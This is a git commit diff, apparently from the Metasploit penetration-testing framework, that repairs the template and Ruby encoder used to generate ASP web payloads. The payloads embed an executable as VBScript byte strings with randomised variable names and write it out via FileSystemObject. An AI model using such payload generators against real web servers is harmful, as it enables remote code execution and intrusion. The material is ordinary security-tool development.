Working .asp

This commit is contained in:
Meatballs 2013-08-23 16:55:07 +01:00
parent 7370fc3f4e
commit dd13a7e48f
2 changed files with 5 additions and 18 deletions

View File

@ -1,6 +1,7 @@
<%
<%% @language="VBScript" %%>
<%%
Sub %{var_func}()
%{var_bytes}=Chr(%{exe[0]})%{var_shellcode}
%{var_shellcode}
Dim %{var_obj}
Set %{var_obj} = CreateObject("Scripting.FileSystemObject")
Dim %{var_stream}
@ -20,4 +21,4 @@
End Sub
%{var_func}
%>
%%>

View File

@ -936,8 +936,6 @@ def self.to_vba(framework,code,opts={})
end
def self.to_exe_asp(exes = '', opts={})
exe = exes.unpack('C*')
hash_sub = {}
hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small
hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8)
@ -949,19 +947,7 @@ def self.to_vba(framework,code,opts={})
hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)
lines = []
1.upto(exe.length-1) do |byte|
if(byte % 100 == 0)
lines.push "\r\n%{var_bytes}=%{var_bytes}"
end
# exe is an Array of bytes, not a String, thanks to the unpack
# above, so the following line is not subject to the different
# treatments of String#[] between ruby 1.8 and 1.9
lines.push "&Chr(%{exe[byte]})"
end
hash_sub[:var_shellcode] = lines.join("")
hash_sub[:var_shellcode] = Rex::Text.to_vbscript(exes, hash_sub[:var_bytes])
return read_replace_script_template("to_exe_asp.asp.template", hash_sub)
end